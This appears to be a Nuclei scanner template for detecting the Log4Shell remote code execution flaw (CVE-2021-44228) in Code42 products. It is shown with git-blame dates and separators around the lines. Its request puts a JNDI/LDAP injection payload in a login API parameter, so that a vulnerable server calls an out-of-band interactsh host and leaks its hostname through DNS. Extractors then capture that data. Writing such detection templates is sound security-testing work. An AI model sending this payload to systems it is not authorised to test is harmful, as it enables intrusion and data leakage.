2022-03-16 08:17:58 -05:00
|
|
|
id: code42-log4j-rce
|
|
|
|
|
|
|
|
|
|
info:
|
2022-10-10 15:51:42 -04:00
|
|
|
name: Apache Code42 - Remote Code Execution (Apache Log4j)
|
2022-03-16 08:17:58 -05:00
|
|
|
author: Adam Crosser
|
|
|
|
|
severity: critical
|
2022-05-27 09:44:40 -04:00
|
|
|
description: |
|
|
|
|
|
Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
|
|
|
|
|
- Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
|
|
|
|
|
- Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
|
|
|
|
|
- Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
|
|
|
|
|
- On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
|
|
|
|
|
- On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
|
2022-04-22 13:38:41 +03:00
|
|
|
reference:
|
|
|
|
|
- https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
|
2022-07-16 22:38:04 +05:30
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-03-16 08:17:58 -05:00
|
|
|
classification:
|
2022-10-10 20:06:39 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
|
cvss-score: 10
|
2022-10-10 15:51:42 -04:00
|
|
|
cve-id: CVE-2021-44228
|
2022-10-19 17:11:27 -04:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 13:41:21 +05:30
|
|
|
metadata:
|
|
|
|
|
max-request: 1
|
2023-07-18 09:55:43 +05:30
|
|
|
tags: cve,cve2021,jndi,log4j,rce,oast,code42,kev
|
2023-05-03 23:21:44 +05:30
|
|
|
variables:
|
|
|
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
|
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
|
|
2023-04-27 09:58:59 +05:30
|
|
|
http:
|
2022-03-16 08:17:58 -05:00
|
|
|
- method: GET
|
|
|
|
|
path:
|
2023-05-08 11:07:00 +05:30
|
|
|
- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&url=https://localhost'
|
2022-03-16 08:17:58 -05:00
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
2023-07-16 19:02:52 +05:30
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
2022-03-16 08:17:58 -05:00
|
|
|
words:
|
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
|
part: interactsh_request
|
|
|
|
|
regex:
|
2023-11-17 14:19:19 +05:30
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2022-03-16 08:17:58 -05:00
|
|
|
|
|
|
|
|
extractors:
|
2023-05-03 23:21:44 +05:30
|
|
|
- type: kval
|
|
|
|
|
kval:
|
2023-11-17 14:19:19 +05:30
|
|
|
- interactsh_ip
|
2023-05-03 23:21:44 +05:30
|
|
|
|
|
|
|
|
- type: regex
|
2023-11-17 14:19:19 +05:30
|
|
|
part: interactsh_request
|
2023-05-03 23:21:44 +05:30
|
|
|
group: 2
|
|
|
|
|
regex:
|
2023-11-17 14:19:19 +05:30
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2023-05-03 23:21:44 +05:30
|
|
|
|
2022-03-16 08:17:58 -05:00
|
|
|
- type: regex
|
2023-11-17 14:19:19 +05:30
|
|
|
part: interactsh_request
|
2022-03-16 08:17:58 -05:00
|
|
|
group: 1
|
|
|
|
|
regex:
|
2023-11-17 14:19:19 +05:30
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2024-12-01 13:57:55 +00:00
|
|
|
# digest: 4a0a00473045022003a6470e6a5c99956324b7151744d2a169307e1bbd75d52227c45e094fe7577a022100e01790a4a83e424f84ad447e01d486b94dbfa53402fc31955faad17b7350bb86:922c64590222798bb761d5b6d8e72950
|